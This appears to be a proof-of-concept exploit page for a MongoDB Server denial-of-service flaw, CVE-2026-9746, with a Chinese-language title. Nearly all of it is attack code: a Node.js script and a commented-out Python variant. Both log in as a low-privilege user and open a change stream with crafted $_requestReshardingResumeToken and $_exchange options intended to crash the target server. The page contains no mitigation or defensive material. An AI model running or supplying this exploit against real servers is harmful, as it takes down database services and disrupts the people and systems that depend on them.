MongoDB Server $changestreams $_requestReshardingResumeToken 拒绝服务漏洞 (CVE-2026-9746)

// CVE-2026-9746 PoC - MongoDB Server DoS via changestreams // Requires low-privilege user with read access const { MongoClient } = require('mongodb'); async function exploitCVE20269746() { const uri = 'mongodb://user:password@target-host:27017/admin'; const client = new MongoClient(uri, { useUnifiedTopology: true, serverSelectionTimeoutMS: 5000 }); try { await client.connect(); console.log('[+] Connected to MongoDB server'); const db = client.db('test'); const collection = db.collection('test_collection'); // Create a changestream with the malicious combination // $_requestReshardingResumeToken + exchange option triggers the crash const changeStream = collection.watch([ { $match: { operationType: { $in: ['insert', 'update', 'delete'] } } } ], { fullDocument: 'updateLookup', fullDocumentBefore: 'whenAvailable', // Malicious combination that triggers the vulnerability $_requestReshardingResumeToken: true, $_exchange: { producer: { namespace: 'test.producer', on: 'field' }, consumer: { namespace: 'test.consumer', on: 'field' } } }); console.log('[+] Changestream created - vulnerability triggered'); console.log('[+] Server should crash due to invariant failure'); // Wait for potential response await new Promise(resolve => setTimeout(resolve, 3000)); await changeStream.close(); } catch (error) { console.log('[-] Error or server crashed:', error.message); } finally { await client.close(); } } // Alternative Python PoC using pymongo /* from pymongo import MongoClient import sys def exploit_cve_2026_9746(): try: client = MongoClient('mongodb://user:pass@target:27017/', serverSelectionTimeoutMS=5000) db = client['test'] collection = db['test_collection'] # Trigger the vulnerability with malformed resume token + exchange pipeline = [] options = { 'fullDocument': 'updateLookup', '$_requestReshardingResumeToken': True, '$_exchange': { 'producer': {'namespace': 'test.producer', 'on': '_id'}, 'consumer': {'namespace': 'test.consumer', 'on': '_id'} } } with collection.watch(pipeline, **options) as stream: print('[+] Exploit sent - waiting for server response') stream.next(timeout=5) except Exception as e: print(f'[-] Server response: {e}') if __name__ == '__main__': exploit_cve_2026_9746() */ exploitCVE20269746();